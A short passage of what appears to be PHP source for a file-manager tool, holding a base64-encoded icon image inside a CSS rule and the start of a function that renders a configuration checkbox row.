ZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '